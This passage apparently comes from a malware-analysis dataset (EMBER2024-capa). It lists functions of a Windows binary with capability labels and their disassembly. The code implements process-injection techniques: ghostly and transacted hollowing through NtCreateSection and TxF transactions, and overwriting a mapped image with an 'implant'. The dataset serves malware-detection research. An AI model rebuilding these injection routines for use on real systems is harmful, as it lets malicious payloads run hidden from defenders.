joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402930
Capabilities:
Process ghostly hollowing
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov ebx, edx
call fcn.00402660
mov esi, eax
test esi, esi
je 0x402adf
cmp esi, 0xffffffff
je 0x402adf
push 0xd
push 1
lea eax, [ebp - 9]
mov byte [ebp - 9], 1
push eax
lea eax, [ebp - 0x14]
xorps xmm0, xmm0
push eax
push esi
movlpd qword [ebp - 0x14], xmm0
call dword [sym.imp.ntdll.dll_NtSetInformationFile]
mov edi, eax
test edi, edi
jns 0x4029e3
push str.Setting_information_failed:
push 0x444590
call fcn.00404fc0
mov edx, eax
add esp, 8
test edx, edx
jne 0x40299e
xor ecx, ecx
jmp 0x4029a5
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
push 0x43ddd4
or eax, 0x800
push ecx
mov dword [ecx + 0x14], eax
mov ecx, edx
push edi
call fcn.00403050
add esp, 4
push eax
call fcn.00404fc0
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
push str.___File_disposition_information_set_n
push 0x444590
call fcn.00404fc0
add esp, 8
lea eax, [ebp - 0x1c]
xorps xmm0, xmm0
movq qword [ebp - 0x1c], xmm0
push 0
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x14]
push ebx
push eax
push 0
push 0
push 0
push esi
call dword [sym.imp.ntdll.dll_NtWriteFile]
test eax, eax
jns 0x402a5f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.Failed_writing_payload__Error:
push 0x444678
mov esi, eax
call fcn.00404fc0
mov edx, eax
add esp, 8
test edx, edx
jne 0x402a40
xor ecx, ecx
jmp 0x402a47
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + 0x14], eax
mov ecx, edx
push esi
jmp 0x402b1b
push esi
push 0x1000000
push 2
push 0
push 0
push 0xf001f
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0
push eax
call dword [sym.imp.ntdll.dll_NtCreateSection]
mov edi, eax
test edi, edi
je 0x402ac4
push str.NtCreateSection_failed:
push 0x444678
call fcn.00404fc0
mov edx, eax
add esp, 8
test edx, edx
jne 0x402aa3
xor ecx, ecx
jmp 0x402aaa
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + 0x14], eax
mov ecx, edx
push edi
call fcn.00403050
jmp 0x402b20
push esi
call dword [sym.imp.ntdll.dll_NtClose]
mov eax, dword [ebp - 0x20]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
push str.Failed_to_create_file
push 0x444678
call fcn.00404fc0
mov esi, eax
add esp, 8
test esi, esi
jne 0x402afb
xor ecx, ecx
jmp 0x402b02
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
mov eax, dword [ecx + 0x14]
and eax, 0xfffff3ff
or eax, 0x200
mov dword [ecx + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.00402ec0
push eax
call fcn.00405270
mov ecx, dword [ebp - 8]
add esp, 4
xor ecx, ebp
or eax, 0xffffffff
pop edi
pop esi
pop ebx
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
Function at 0x402b40
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov esi, edx
call fcn.00402660
mov edi, eax
test edi, edi
je 0x402cb3
cmp edi, 0xffffffff
je 0x402cb3
push 0
lea eax, [ebp - 0x1c]
xorps xmm0, xmm0
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x24]
movlpd qword [ebp - 0x24], xmm0
push esi
push eax
push 0
push 0
push 0
push edi
movq qword [ebp - 0x1c], xmm0
call dword [sym.imp.ntdll.dll_NtWriteFile]
test eax, eax
jns 0x402bdc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.Failed_writing_payload__Error:
push 0x444678
mov esi, eax
call fcn.00404fc0
mov edx, eax
add esp, 8
test edx, edx
jne 0x402bbd
xor ecx, ecx
jmp 0x402bc4
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + 0x14], eax
mov ecx, edx
push esi
jmp 0x402cef
push edi
push 0x1000000
push 2
push 0
push 0
push 0xf001f
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0
push eax
call dword [sym.imp.ntdll.dll_NtCreateSection]
mov esi, eax
test esi, esi
je 0x402c44
push str.NtCreateSection_failed:
push 0x444678
call fcn.00404fc0
mov edx, eax
add esp, 8
test edx, edx
jne 0x402c20
xor ecx, ecx
jmp 0x402c27
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + 0x14], eax
mov ecx, edx
push esi
call fcn.00403050
jmp 0x402cf4
push str.___Overwriting_file_content_n
call fcn.004019e0
add esp, 4
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0
push edi
lea esi, [eax - 8]
call ebx
cmp esi, 4
jbe 0x402c98
push 0
lea eax, [ebp - 0xc]
push eax
push 4
push 0x43ddd4
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 1
push 0
push 0
push edi
call ebx
sub esi, dword [ebp - 0xc]
cmp esi, 4
ja 0x402c73
push edi
call dword [sym.imp.ntdll.dll_NtClose]
mov eax, dword [ebp - 0x28]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
push str.Failed_to_create_file
push 0x444678
call fcn.00404fc0
mov esi, eax
add esp, 8
test esi, esi
jne 0x402ccf
xor ecx, ecx
jmp 0x402cd6
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
mov eax, dword [ecx + 0x14]
and eax, 0xfffff3ff
or eax, 0x200
mov dword [ecx + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.00402ec0
push eax
call fcn.00405270
mov ecx, dword [ebp - 8]
add esp, 4
xor ecx, ebp
or eax, 0xffffffff
pop edi
pop esi
pop ebx
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
Function at 0x406400
Capabilities:
Map section object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test esi, esi
je 0x40651b
cmp esi, 0xffffffff
je 0x40651b
push esi
push 0x1000000
push 2
push 0
push 0
push 0xf001f
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
xor bl, bl
call dword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
je 0x406480
push str.NtCreateSection_failed
push 0x444678
call fcn.00404fc0
push eax
call fcn.00405270
add esp, 0xc
jmp 0x406482
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x40655f
push 2
push 0
push 1
lea eax, [ebp - 8]
mov dword [ebp - 0x10], 0
push eax
push 0
push 0
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 8], 0
push eax
push 0xffffffffffffffff
push dword [ebp - 0xc]
call dword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov esi, eax
test esi, esi
je 0x406508
mov edx, str._ERROR__NtMapViewOfSection_failed__status_:
mov ecx, 0x444728
call fcn.00407e80
mov edx, eax
test edx, edx
jne 0x4064dd
xor ecx, ecx
jmp 0x4064e4
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + 0x14], eax
mov ecx, edx
push esi
call fcn.00406580
mov edx, 0x43ddd4
mov ecx, eax
call fcn.00407e80
mov eax, dword [ebp - 0x10]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
push str.Couldnt_open_the_file_
push 0x444678
call fcn.00404fc0
mov edx, eax
add esp, 8
test edx, edx
jne 0x406537
xor ecx, ecx
jmp 0x40653e
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + 0x14], eax
mov ecx, edx
push esi
call fcn.00406800
push eax
call fcn.00405270
add esp, 4
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
Function at 0x408b40
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push str.___Overwriting_the_mapping_n
push 0x444590
mov dword [ebp - 0x18], edx
mov edi, ecx
call fcn.00404fc0
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push edi
mov dword [ebp - 8], 0
call fcn.0040d200
mov esi, eax
add esp, 4
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
test esi, esi
je 0x408bc8
lea ecx, [ebp - 8]
push ecx
push 4
push esi
push edi
call eax
test eax, eax
je 0x408c4a
push esi
push 0
push edi
call fcn.004130c0
add esp, 0xc
lea eax, [ebp - 8]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 2
push esi
push edi
call eax
test eax, eax
je 0x408c4a
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea ecx, [ebp - 8]
push ecx
push 4
push ebx
push edi
call eax
test eax, eax
jne 0x408c5d
push 0x43ddd4
push ecx
push ebx
push ecx
push str.implant_size:
push 0x444590
call fcn.00404fc0
add esp, 0xc
mov ecx, eax
call fcn.00402ec0
add esp, 4
push eax
call fcn.00404fc0
add esp, 8
push 0x43ddd4
push ecx
push esi
push ecx
push str.prev_size:
push 0x444590
call fcn.00404fc0
add esp, 0xc
mov ecx, eax
call fcn.00402ec0
add esp, 4
push eax
call fcn.00404fc0
add esp, 8
cmp ebx, esi
jbe 0x408c4a
push str.____The_implant_is_too_big_for_the_target__n
push 0x444590
call fcn.00404fc0
add esp, 8
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x18]
push ebx
push esi
push edi
call fcn.004125c0
add esp, 0xc
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 2
push 0x1000
push edi
call eax
test eax, eax
jne 0x408c90
xor cl, cl
jmp 0x408d59
push ebx
push esi
mov byte [ebp - 0xd], 1
call fcn.0040d4e0
mov ecx, eax
add esp, 8
xor eax, eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
test ecx, ecx
je 0x408d56
push eax
push ebx
push esi
call fcn.0040d3f0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x408d56
mov ecx, dword [esi + 0x24]
mov edx, ecx
and edx, 0xe0000000
cmp edx, 0xe0000000
jne 0x408cdf
mov ecx, 0x40
jmp 0x408d28
mov eax, ecx
and eax, 0x60000000
cmp eax, 0x60000000
jne 0x408cf4
mov ecx, 0x20
jmp 0x408d28
test ecx, 0x20000000
je 0x408d03
mov ecx, 0x20
jmp 0x408d28
mov eax, ecx
and eax, 0xc0000000
cmp eax, 0xc0000000
jne 0x408d18
mov ecx, 4
jmp 0x408d28
and ecx, 0x40000000
neg ecx
sbb ecx, ecx
and ecx, 0xfffffffe
add ecx, 4
mov eax, dword [esi + 0xc]
lea edx, [ebp - 0xc]
push edx
push ecx
push dword [esi + 8]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, dword [ebp - 0x18]
neg eax
sbb al, al
and byte [ebp - 0xd], al
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp eax, dword [ebp - 0x1c]
jb 0x408cb0
mov cl, byte [ebp - 0xd]
test cl, cl
mov ecx, dword [ebp - 4]
pop edi
setne al
xor ecx, ebp
pop esi
pop ebx
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
Function at 0x409f40
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42f738
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x30], esi
mov ebx, ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x2c], eax
test eax, eax
je 0x40a100
mov eax, dword [ebx]
xor ecx, ecx
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040ebf4
xor edi, edi
mov dword [esi], eax
add esp, 4
cmp dword [ebx], edi
jle 0x40a0f5
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 7
mov edx, dword [eax + edi*4]
xor eax, eax
mov word [ebp - 0x48], ax
mov eax, edx
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x409fd1
sub eax, esi
lea ecx, [ebp - 0x48]
sar eax, 1
push eax
push edx
call fcn.00403bc0
push 0
push 0
push 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x48]
cmp dword [ebp - 0x34], 8
push 0
cmovae eax, dword [ebp - 0x48]
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov esi, eax
mov dword [ebp - 0x18], 0
push 0
push esi
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
call fcn.00403d10
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x28]
push 0
cmovae ecx, dword [ebp - 0x28]
lea eax, [ebp - 0x48]
cmp dword [ebp - 0x34], 8
push 0
cmovae eax, dword [ebp - 0x48]
push esi
push ecx
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x34]
cmp edx, 8
jb 0x40a0a0
mov ecx, dword [ebp - 0x48]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40a096
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a128
push edx
push ecx
call fcn.0040ebc3
add esp, 8
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call fcn.004184b5
mov ecx, dword [ebp - 0x30]
add esp, 4
mov ecx, dword [ecx]
mov dword [ecx + edi*4], eax
mov edx, dword [ebp - 0x14]
cmp edx, 0x10
jb 0x40a0ec
mov ecx, dword [ebp - 0x28]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40a0e2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40a128
push edx
push ecx
call fcn.0040ebc3
add esp, 8
inc edi
cmp edi, dword [ebx]
jl 0x409fb2
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x40a10c
mov dword [ebx], 0
mov dword [esi], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
call fcn.00417bb8
int3
Function at 0x40aac0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x40aba6
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
test esi, esi
jl 0x40ab95
jg 0x40ab00
test edx, edx
je 0x40ab95
nop dword [eax]
call fcn.00404e10
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x40ab54
jg 0x40ab17
test esi, esi
je 0x40ab54
cmp ebx, eax
jg 0x40ab27
jl 0x40ab21
cmp edi, esi
jae 0x40ab27
mov esi, edi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.004125c0
mov ecx, dword [esp + 0x18]
add esp, 0xc
sub edi, esi
sbb ebx, dword [esp + 0x14]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x40ab79
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov edx, dword [ecx]
movzx eax, byte [eax]
push eax
call dword [edx + 0xc]
cmp eax, 0xffffffff
je 0x40ab8f
mov ecx, dword [esp + 0xc]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [esp + 0x10], esi
test ebx, ebx
jg 0x40ab00
jl 0x40ab8f
test edi, edi
jne 0x40ab00
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
mov eax, edx
sbb esi, ebx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x40abc8
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x40abca
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [esp + 0x14], eax
test edi, edi
jl 0x40ac48
jg 0x40abdd
test esi, esi
je 0x40ac48
test eax, eax
jl 0x40ac22
jg 0x40abe7
test ebx, ebx
je 0x40ac22
cmp edi, eax
jg 0x40abf7
jl 0x40abf1
cmp esi, ebx
jae 0x40abf7
mov ebx, esi
mov dword [esp + 0x14], edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x18]
call fcn.004125c0
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
add edx, ebx
sub esi, ebx
mov eax, dword [ecx + 0x30]
sbb edi, dword [esp + 0x14]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
jmp 0x40ac25
mov edx, dword [ebp + 8]
test edi, edi
jl 0x40ac48
jg 0x40ac2f
test esi, esi
je 0x40ac48
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x40ac48
push eax
push esi
push 1
push edx
call fcn.00418c71
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40b1c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x40b1f0
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
push edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40b22c
mov edx, dword [esi + 0x30]
mov edi, dword [edx]
lea eax, [edi + ecx]
cmp ecx, eax
jae 0x40b22c
lea ecx, [edi - 1]
mov dword [edx], ecx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
je 0x40b313
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x40b254
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x40b287
push dword [esi + 0x4c]
movsx eax, bl
push eax
call fcn.00417c50
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x25], bl
mov edx, dword [ecx]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x25]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x1c]
test eax, eax
js 0x40b313
cmp eax, 1
jle 0x40b2e6
cmp eax, 3
jne 0x40b313
push dword [esi + 0x4c]
movsx eax, byte [ebp - 0x25]
push eax
call fcn.00417c50
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x40b303
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.00418c71
add esp, 0x10
cmp edi, eax
jne 0x40b313
lea eax, [ebp - 0x25]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
jne 0x40b217
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret 4
Function at 0x40bd60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x40be1a
cmp byte [esi + 0x3d], 0
je 0x40be1a
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x40be08
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
mov edx, dword [ecx]
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x40bdd0
sub eax, 1
je 0x40bdd4
sub eax, 2
jne 0x40be08
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x40bdf1
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.00418c71
add esp, 0x10
cmp edi, eax
jne 0x40be08
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret

Function at 0x40c170
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42f6b0
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x443004]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040eb93
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.0040fc6b
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40cd20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x443004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
mov ebx, edx
mov esi, ecx
call dword [sym.imp.ktmw32.dll_CreateTransaction]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40cd7e
push str.Failed_to_create_transaction_
push 0x444678
call fcn.00404fc0
push eax
call fcn.00405270
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
push 0
push 0
push edi
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileTransactedW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40cde0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
push str.Failed_to_create_transacted_file:
push 0x444678
call fcn.00404fc0
add esp, 0xc
mov ecx, eax
call fcn.00402ec0
push eax
call fcn.00405270
add esp, 4
or eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push dword [ebp + 8]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40ce3a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ecx
push str.Failed_writing_payload__Error:
push 0x444678
call fcn.00404fc0
add esp, 0xc
mov ecx, eax
call fcn.00402ec0
push eax
call fcn.00405270
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040eb7d
mov esp, ebp
pop ebp
ret
push esi
push 0x1000000
push 2
push 0
push 0
push 0xf001f
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
call dword [sym.imp.ntdll.dll_NtCreateSection]
test eax, eax
je 0x40ce6a
push str.NtCreateSection_failed
jmp 0x40cd57
push str.___Created_a_TxF_transaction_n
push 0x444590
call fcn.00404fc0
add esp, 8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call dword [sym.imp.ktmw32.dll_RollbackTransaction]
test eax, eax
jne 0x40ceee
push str.RollbackTransaction_failed:
push 0x444678
call fcn.00404fc0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40ceac
xor ecx, ecx
jmp 0x40ceb3
mov eax, dword [esi]
mov ecx, dword [eax + 4]
add ecx, esi
mov eax, dword [ecx + 0x14]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx + 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.00402ec0
push eax
call fcn.00405270
add esp, 4
